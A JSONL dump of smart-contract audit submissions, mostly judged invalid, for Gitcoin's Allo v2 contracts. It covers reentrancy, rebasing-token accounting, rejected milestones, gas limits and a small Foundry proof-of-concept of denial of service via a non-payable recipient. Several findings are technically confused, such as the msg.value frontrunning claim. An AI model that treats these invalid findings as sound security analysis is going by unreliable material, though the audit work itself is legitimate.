follow these recommendations:\n\nImplement a Reentrancy Guard: Use a reentrancy guard pattern to prevent reentrant calls to the execute function. Here's an example of a reentrancy guard modifier:\n```solidity\n// A modifier to prevent reentrancy attacks\nbool private locked;\n\nmodifier reentrancyGuard {\n require(!locked, \"Reentrant call\");\n locked = true;\n _;\n locked = false;\n}\n```\nApply the Reentrancy Guard Modifier: Apply the reentrancyGuard modifier to the execute function:\n```solidity\nfunction execute(address _target, uint256 _value, bytes memory _data) external reentrancyGuard returns (bytes memory) {\n // Check if the caller is the owner of the profile and revert if not\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n\n // Check if the target address is the zero address and revert if it is\n if (_target == address(0)) revert CALL_FAILED();\n\n // Call the target address and return the data\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n\n // Check if the call was successful and revert if not\n if (!success) revert CALL_FAILED();\n\n return data;\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/433.md"}} +{"title":"QVSimpleStrategy contract lacks withdrawal method","severity":"info","body":"Lucky Sand Tapir\n\nhigh\n\n# QVSimpleStrategy contract lacks withdrawal method\n\nSince the amount is distributed according to the voting ratio, some recipients do not reach the voting threshold, so the proportion of distribution must be less than 100%. Since there is no withdrawal method, the undistributed amount will be locked.\n\n## Vulnerability Detail\nThe method of distributing the amount is as shown in the following code\n```solidity\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\nIf you want to distribute all the amounts, it is possible only if all recipients participate in the distribution.The actual situation is that the recipient needs to meet _isAcceptedRecipient to participate, and to meet _isAcceptedRecipient, the required conditions are as shown in the following code // found\n\n```solidity\n function reviewRecipients(address[] calldata _recipientIds, Status[] calldata _recipientStatuses)\n external\n virtual\n onlyPoolManager(msg.sender)\n onlyActiveRegistration\n {\n...\n reviewsByStatus[recipientId][recipientStatus]++;\n if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) { //found\n Recipient storage recipient = recipients[recipientId];\n recipient.recipientStatus = recipientStatus;\n\n emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));\n }\n\n...\n }\n }\n```\nTherefore, there will be a situation where poolamout cannot be fully distributed. This will lead to a situation where funds are locked in the contract and cannot be used.\n\n## Impact\n\nAmounts not distributed will be locked\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a withdrawal method that only the pool manager can access","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/431.md"}} +{"title":"RFPSimpleStrategy.sol#_distribute()","severity":"info","body":"Brilliant Chambray Reindeer\n\nhigh\n\n# RFPSimpleStrategy.sol#_distribute()\nThe protocol clearly states that it supports all sort of tokens, including rebasing tokens.\nRebasing tokens adjust their token supply based on their price. \nThis will lead to problems in the `_distribute` function, as we use `poolAmount` to determine how many tokens are actually in the strategy. A situation can arise where the `poolAmount` and the actual token balance of the contract differ in a significant way leading to incorrect accounting and award distribution if the token supply went up or reverting of the whole tx if the token supply goes down.\n\n## Vulnerability Detail\nLet's take a look if the rebasing token's supply goes up:\nThe following is a scenario where the whole `poolAmount` must go to the `acceptedRecipientAddress`\n\n`maxBid = 100`\n`recipient.proposalBid = 100`\n`milestone.amountPercentage = 1e18`\n`poolAmount = 100`.\n\nThe price of the token goes up by 50%, so the actual token balance of the contract becomes 150, but the `poolAmount` is still 100.\n\nThe pool manager calls `_distribute` and the `amount` that must be payed to the `acceptedRecipientAddress` should be 150, because he has to receive the whole token balance of the pool, but instead, because `poolAmount = 100`, he will only receive 100 tokens, not the 150 he should receive.\n\nLet's imagine if the rebasing token's supply goes down:\nThe scenario is the same as the one above.\n\n`maxBid = 100`\n`recipient.proposalBid = 100`\n`milestone.amountPercentage = 1e18`\n`poolAmount = 100`.\n\nThe price of the token goes down by 50%, so the actual token balance of the contract becomes 50, but the `poolAmount` is still 100.\n\nThe pool manager calls `_distribute` and the `amount` that must be payed to the `acceptedRecipientAddress` should be 50, but because `poolAmount = 100` the whole tx will revert when we hit `_transferAmount`, because we are attempting to transfer 100 tokens, while the contract only holds 50 tokens. In this situation `acceptedRecipientAddress` won't receive anything, even though he should receive 100% of the token balance of the contract, which is 50 at that time.\n\nIf the token supply goes down, `_distribute` won't revert every single time, but it will still lead to incorrect accounting and reward distribution, because we are using `poolAmount` to base the rewards calculation for a certain milestone, which will be out of sync with the actual token balance.\n\n## Impact\nIncorrect accounting, unfair reward distribution and in some cases bricking of the `_distribute` function.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n\n## Tool used\nManual Review\n\n## Recommendation\nA simple fix would be to add a line inside `_distribute` that sets `poolAmount = pool.token.balanceOf(address(this))` or something similar. An external function can also be added to correctly update the `poolAmount` to the actual token balance of the contract.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/429.md"}} +{"title":"RFPSimpleStrategy.sol#_distribute()","severity":"info","body":"Brilliant Chambray Reindeer\n\nmedium\n\n# RFPSimpleStrategy.sol#_distribute()\nThere is a function function called `rejectMilestone` which the pool manager can call to set the `milestoneStatus` of a milestone to `Status.Rejected`. The comments clearly state \"Reject pending milestone submmited by the acceptedRecipientId.\" The issue is there is no check inside `_distribute` to check if the milestone has been rejected, effectively making `rejectMilestone` useless.\n\n## Vulnerability Detail\nWe can see that `rejectMilestone` sets the status of a milestone to `Status.Rejected`.\n```javascript\n /// @notice Reject pending milestone submmited by the acceptedRecipientId.\n /// @dev 'msg.sender' must be a pool manager to reject a milestone. Emits a 'MilestoneStatusChanged()' event.\n /// @param _milestoneId ID of the milestone\n function rejectMilestone(uint256 _milestoneId) external onlyPoolManager(msg.sender) {\n // Check if the milestone is already accepted\n if (milestones[_milestoneId].milestoneStatus == Status.Accepted) revert MILESTONE_ALREADY_ACCEPTED();\n\n milestones[_milestoneId].milestoneStatus = Status.Rejected;\n\n emit MilestoneStatusChanged(_milestoneId, milestones[_milestoneId].milestoneStatus);\n }\n```\n\nThis is the code inside `_distribute`.\n```javascript\n /// @notice Distribute the upcoming milestone to acceptedRecipientId.\n /// @dev '_sender' must be a pool manager to distribute.\n /// @param _sender The sender of the distribution\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n // by sending funds to the pool?\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n\nNowhere inside `_distribute` do we check if the `upcomingMilestone` has been rejected or not. This can lead to an unwanted situation where the pool manager rejects a milestone, accidently or not calls, `_distribute` and distributes the rewards for that milestone.\n\n## Impact\nFunds can be distributed for a rejected milestone. \nThe code doesn't do what the comment states.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd a check inside `_distribute` that checks if the `upcomingMilestone` has been rejected.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/428.md"}} +{"title":"Potential frontrunning vulnerability where an attacker could manipulate the native asset amount after it is checked but before the transaction reverts","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# Potential frontrunning vulnerability where an attacker could manipulate the native asset amount after it is checked but before the transaction reverts\nPotential frontrunning vulnerability where an attacker could manipulate the native asset amount after it is checked but before the transaction reverts\n## Vulnerability Detail\nThe key code is in the _allocate function: [Link 1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L658-L659)\nThis first checks that if a native token is being used, the msg.value matches the expected amount. However, there is a window between this check and the revert where the msg.value could be manipulated by a frontrunning bot.\n\nHere is how the attack would work:\n1. Attacker sees a transaction calling _allocate with a native token and checks the msg.value matches the amount\n2. Attacker frontruns the transaction and calls a function that manipulates the msg.value (e.g. by sending ETH to the contract)\n3. The original transaction continues and now reverts due to the msg.value mismatch\n\n## Impact\nThis can be used to grief legitimate transactions by causing unexpected reverts.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L658-L659\n## Tool used\n\nManual Review\n\n## Recommendation \nThe msg.value check and revert should happen atomically as one step:\nif (msg.value != amount) {\n revert INVALID(); \n}\nThis prevents any opportunity for the msg.value to be manipulated between the check and revert.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/427.md"}} +{"title":"Depending on the number of recipients and the number of distributions, functions like _distribute could run out of gas, causing them to fail. Potential Gas limitaion","severity":"info","body":"Digital Merlot Seagull\n\nmedium\n\n# Depending on the number of recipients and the number of distributions, functions like _distribute could run out of gas, causing them to fail. Potential Gas limitaion\nFunctions like _distribute could run into potential gas limitations, especially when dealing with a large number of recipients and distributions. This can lead to transaction failures due to out-of-gas errors. To mitigate this risk, it is advisable to consider batching or optimizing these operations.\n\n## Vulnerability Detail\nEthereum transactions have a gas limit, which restricts the amount of computational work that can be done within a single transaction. When functions like _distribute involve a large number of recipients and distributions, the gas consumed can exceed the block's gas limit, causing the transaction to fail. This can prevent the successful execution of these critical functions.\n\n## Impact\nThe impact of running into gas limitations during the execution of functions like _distribute can be significant:\n\nTransactions may fail, preventing the distribution of funds to recipients.\nUsers and contract managers may need to initiate multiple transactions to complete the distribution process, incurring additional gas costs and complexity.\nThe contract's usability and efficiency can be compromised.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L609\n\n code that involves a loop for distributing funds to recipients. Depending on the number of recipients, this operation can become gas-intensive:\n\n```solidity\nfunction _distribute(address[] memory, bytes memory _data, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n{\n if (!distributionStarted) {\n distributionStarted = true;\n }\n\n // Decode the '_data' to get the distributions\n Distribution[] memory distributions = abi.decode(_data, (Distribution[]));\n uint256 length = distributions.length;\n\n // Loop through the distributions and distribute the funds\n for (uint256 i; i < length;) {\n _distributeSingle(distributions[i]);\n unchecked {\n i++;\n }\n }\n\n // Emit that the batch payout was successful\n emit BatchPayoutSuccessful(_sender);\n}\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address potential gas limitations, consider implementing batching or optimizing strategies in functions like `_distribute`. Batching involves splitting large operations into smaller, manageable chunks that can be executed in separate transactions. This approach allows you to distribute funds to recipients in smaller groups, reducing the gas consumption per transaction.\n\nAdditionally, you can optimize gas usage within loops and critical operations to minimize computational costs. Careful gas profiling and testing can help identify areas for optimization.\n\nBy implementing these strategies, you can make the contract more efficient and less prone to gas-related issues.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/426.md"}} +{"title":"Implement Batch Fund Recovery in recoverFunds Function","severity":"info","body":"Petite Amber Gerbil\n\nmedium\n\n# Implement Batch Fund Recovery in recoverFunds Function\n\nThe current implementation of the recoverFunds function in the Registry.sol contract allows the contract owner to recover all funds in a single transaction. For contracts holding a large amount of funds, this can result in high gas costs. To improve gas efficiency during fund recovery, we suggest implementing batch fund recovery.\n\n## Vulnerability Detail\n\nThe existing recoverFunds function performs fund recovery in a single batch, which may lead to high gas costs for contracts with a substantial fund balance. This can impact the usability and cost-effectiveness of the contract, particularly in situations where the contract owner needs to recover funds in smaller portions.\n\n## Impact\n\nThe current implementation may lead to increased gas costs for fund recovery, potentially affecting the contract's overall gas efficiency and usability.\n\n## Code Snippet\n\nHere's a snippet of the relevant code:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L384\n\n```solidity\nfunction recoverFunds(address _token, address _recipient) external onlyRole(ALLO_OWNER) {\n if (_recipient == address(0)) revert ZERO_ADDRESS();\n\n uint256 amount = _token == NATIVE ? address(this).balance : ERC20(_token).balanceOf(address(this));\n _transferAmount(_token, _recipient, amount);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWe recommend enhancing the recoverFunds function to support batch fund recovery, allowing the contract owner to recover funds in smaller portions. This can significantly reduce gas costs for fund recovery and improve the contract's overall gas efficiency.\n\n### Proposed Solution:\n\n- Modify the recoverFunds function to accept an additional parameter _batchCount, which specifies the number of batches to recover.\n- Introduce state variables to track the current batch index and batch size.\n- Implement a loop to iterate through the specified number of batches, transferring funds in each batch.\n- Allow the contract owner to set the batch size via a separate function (setBatchSize) to provide flexibility in adjusting batch sizes as needed.\n\nThe proposed code changes are as follows:\n```solidity\n// Track the current batch index and batch size\nuint256 private currentBatchIndex;\nuint256 private batchSize = 100; // Adjust the batch size as needed\n\n/// @notice Transfers a batch of funds from Allo to the recipient\n/// @dev 'msg.sender' must be the Allo owner\n/// @param _token The address of the token to transfer\n/// @param _recipient The address of the recipient\n/// @param _batchCount The number of batches to recover\nfunction recoverFunds(address _token, address _recipient, uint256 _batchCount) external onlyRole(ALLO_OWNER) {\n if (_recipient == address(0)) revert ZERO_ADDRESS();\n\n uint256 totalBalance = (_token == NATIVE) ? address(this).balance : ERC20(_token).balanceOf(address(this));\n\n // Loop through the specified number of batches\n for (uint256 i = 0; i < _batchCount; i++) {\n uint256 startIdx = currentBatchIndex * batchSize;\n uint256 endIdx = (currentBatchIndex + 1) * batchSize;\n\n if (startIdx >= totalBalance) {\n // All funds have been recovered\n break;\n }\n\n uint256 amountToRecover = (endIdx > totalBalance) ? totalBalance - startIdx : batchSize;\n\n _transferAmount(_token, _recipient, amountToRecover);\n\n currentBatchIndex++;\n }\n}\n\n/// @notice Set the batch size for fund recovery\n/// @dev Only the contract owner can update the batch size\n/// @param _newBatchSize The new batch size to set\nfunction setBatchSize(uint256 _newBatchSize) external onlyRole(ALLO_OWNER) {\n batchSize = _newBatchSize;\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/424.md"}} +{"title":"Lack of mechanic to skip rejected milestone","severity":"info","body":"Little Cloth Coyote\n\nmedium\n\n# Lack of mechanic to skip rejected milestone\nRFPSimpleStrategy and RFPCommitteeStrategy lack the mechanic to skip rejected milestones. Based on current design, each milestone must be paid out in order to move on to the next.\n\n## Vulnerability Detail\nPer sponsor, only accepted milestone should be distributed.\nHowever, there's an issue with the `upcomingMilestone` tracking. It's incremented only after the `_distribute()` function is called. As a result, regardless of the actual milestone status, funds must be distributed before moving on to the next milestone (`_distribute()` also does not check the status before executing). This can potentially disable the pool if the `distribute()` function is never called by the pool manager.\n\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n## Impact\nEach milestone must be paid out regardless of the status.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417\n## Tool used\n\nManual Review\n\n## Recommendation\nI suggest introducing two new functions, accessible only to pool managers, for incrementing the `upcomingMilestone` when they find it appropriate or for accepting the `upcomingMilestone`. Additionally, consider updating the `_distribute()` function to perform a status check before execution.\nRFPSimpleStrategy:\n```solidity\n function rejectCurrentMilestone() external virtual onlyActivePool onlyPoolManager(msg.sender){\n Milestone storage milestone = milestones[upcomingMilestone];\n //Should only be able to reject pending milestone\n if(milestone.milestoneStatus == Status.Accepted || milestone.milestoneStatus == Status.Rejected){\n revert();\n }else{\n milestone.milestoneStatus = Status.Rejected;\n upcomingMilestone++;\n }\n }\n function acceptUpcomingMilestone() external virtual onlyActivePool onlyPoolManager(msg.sender){\n Milestone storage milestone = milestones[upcomingMilestone];\n //Only able to accept pending milestone\n if(milestone.milestoneStatus == Status.Pending){\n milestone.milestoneStatus = Status.Accepted;\n }\n }\n```\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n+ require(milestone.milestoneStatus == Status.Accepted);\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n- milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\nRFPCommitteeStrategy:\n```solidity\n uint256 public rejectCounter;\n uint256 public acceptCounter;\n\n function rejectCurrentMilestone() external override onlyActivePool onlyPoolManager(msg.sender) {\n Milestone storage milestone = milestones[upcomingMilestone];\n if(milestone.milestoneStatus == Status.Rejected || milestone.milestoneStatus == Status.Accepted){\n revert();\n }else{\n rejectCounter++;\n }\n if(rejectCounter >= voteThreshold){\n milestone.milestoneStatus == Status.Rejected;\n //increment upcomingMilestone\n upcomingMilestone++;\n //reset rejectCounter for next milestone \n rejectCounter = 0;\n }\n }\n\n function acceptUpcomingMilestone() external override onlyActivePool onlyPoolManager(msg.sender){\n Milestone storage milestone = milestones[upcomingMilestone];\n if(milestone.milestoneStatus == Status.Rejected || milestone.milestoneStatus == Status.Accepted){\n revert();\n }else{\n acceptCounter++;\n }\n if(acceptCounter >= voteThreshold){\n milestone.milestoneStatus == Status.Accepted;\n //reset acceptCounter for next milestone\n acceptCounter = 0;\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/420.md"}} +{"title":"Distribution can be griefed in DonationVotingMerkleDistribution","severity":"info","body":"Noisy Ocean Hornet\n\nmedium\n\n# Distribution can be griefed in DonationVotingMerkleDistribution\nThe Allo contract calls [`distribute`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L194) function in BaseStrategy. \nIt then calls [_distribute](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L609) function of Donation Voting Merkle Distribution Base strategy.\n\nThis function transfers funds (either value or tokens) to recipients using `_distributeSingle` function. \n\nBut the problem is the whole function can be DOSed if any of the recipients is blacklisted by any token contract or they have not implemented `receive` or `fallback payable` in their contract (in case of ether).\n\n \n\n## Vulnerability Detail\nSee Above\n POC \n ```solidity\n \n pragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\n\ncontract Receiver {\n\n // Do not receive ether\n\n constructor () {\n\n }\n\n // receive() external payable {\n\n // }\n}\ncontract Dos is Test {\n Receiver public receiver;\n address[] public receivers;\n\n function setUp() public {\n receiver = new Receiver();\n receivers.push(address(receiver));\n receivers.push(makeAddr(\"receiver2\"));\n receivers.push(makeAddr(\"receiver3\"));\n }\n\nfunction test_Receiver_DOS_distribution() public {\n // Will revert , thereby preventing the whole distribution to revert\n for(uint i ; i < receivers.length; i++){\n (bool s , ) = receivers[i].call{value:0.1 ether}(\"\");\n require(s);\n }\n }\n}\n ```\n\n## Impact\nThe call to distribute will be reverted . Attacker can delay the distribution .\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L609-L633\n## Tool used\n\nManual Review\nManual\n## Recommendation\nUse Solidity's Try/catch","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/419.md"}} +{"title":"`createPoolWithCustomStrategy` lacks the `nonReentrant` modifier","severity":"info","body":"Digital Orange Badger\n\nmedium\n\n# `createPoolWithCustomStrategy` lacks the `nonReentrant` modifier\n\n`createPoolWithCustomStrategy` function from [Allo.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L144) should have a `nonReentrant` modifier to prevent reentrancy attacks.\n\n## Vulnerability Detail\n\nThe `createPoolWithCustomStrategy` function calls the `_createPool` function which in turns calls a custom strategy `_strategy.initialize(poolId, _initStrategyData)` in row 453 which provides the perfect opportunity for a reentrancy.\n\nThe developers of the protocol recognized this risk by attaching a `nonReentrant` modifier to the `createPool` function within the same contract.\n\n## Impact\n\nMalicious actors could reenter one of the main functions to create pools.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L144-L161\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L174-L197\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the `nonReentrant` modifier to `createPoolWithCustomStrategy` function the same way it was added for the `createPool` function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/418.md"}} +{"title":"Code lacks comprehensive comments and documentation","severity":"info","body":"Digital Merlot Seagull\n\nmedium\n\n# Code lacks comprehensive comments and documentation\nVulnerability 4 in the code relates to incomplete or missing comments and documentation. The code lacks comprehensive comments and documentation, which can hinder understanding and maintenance of the contract.\n\n## Vulnerability Detail\n code lacks sufficient comments and documentation to explain the purpose, functionality, and usage of various functions, modifiers, and variables. This absence of documentation can pose challenges for developers, auditors, and anyone reviewing the code, as it makes it difficult to understand how the contract works.\n\n## Impact\nThe impact of this vulnerability is as follows:\n- **Difficulty in Understanding:** Developers and auditors may have difficulty understanding the code's functionality, which can lead to errors, inefficiencies, and potential security risks.\n- **Maintenance Challenges:** In the absence of clear documentation, maintaining and updating the code can become problematic, as it is unclear how different components are intended to work.\n\n## Code Snippet\nFor Instance\nMore of in this file \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L5\n\n```solidity\n// Missing Comments and Documentation\nfunction allocate(bytes memory _data, address _sender) internal virtual;\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo mitigate this vulnerability, it is recommended to provide clear and detailed comments and documentation for the entire codebase, including the following elements:\n- Functions: Explain the purpose, expected inputs, and behavior of each function.\n- Modifiers: Describe the role and conditions of modifiers used in the code.\n- Variables: Document the purpose and usage of variables, especially if they are not self-explanatory.\n- Contract Overview: Include an overview of the contract's functionality and how it fits into the broader system.\n\nBy providing comprehensive documentation, you enhance the code's readability and make it easier for developers and auditors to understand and work with the contract. This, in turn, contributes to improved code quality and security.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/416.md"}} +{"title":"Lack of events emission after sensitive actions","severity":"info","body":"Acrobatic Parchment Koala\n\nmedium\n\n# Lack of events emission after sensitive actions\nThe Allo project codebase exhibits cases where sensitive operations are performed without emitting corresponding events.\n## Vulnerability Detail\nThroughout the codebase, there are instances where key actions are taken without emitting necessary events. Specifically, in the following contract:\nAllo.sol:\n- `addPoolManager` function lacks emission of `RoleGranted()` event.\n```solidity\n/// @dev Emits 'RoleGranted()' event. 'msg.sender' must be a pool admin.\n```\n- `removePoolManager` function lacks emission of `RoleRevoked()` event.\n```solidity\n/// @dev Emits 'RoleRevoked()' event. 'msg.sender' must be a pool admin.\n```\n## Impact\nBoth Users and Issuers would possibly be unaware of critical changes in the protocol.\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L259-L269](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L259-L269) \n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L271-L277](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L271-L277)\n## Tool used\nManual Review\n## Recommendation\nEmit the event mentioned in the NatSpec comments of `Allo.addPoolManager` and `Allo.removePoolManager` to report critical changes.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/415.md"}} +{"title":"Contract does not include a circuit breaker or emergency stop mechanism, which can pose risks in situations where the contract's operations need to be halted promptly for security or maintenance reasons.","severity":"info","body":"Digital Merlot Seagull\n\nmedium\n\n# Contract does not include a circuit breaker or emergency stop mechanism, which can pose risks in situations where the contract's operations need to be halted promptly for security or maintenance reasons.\nThe contract does not include a circuit breaker or emergency stop mechanism, which can pose 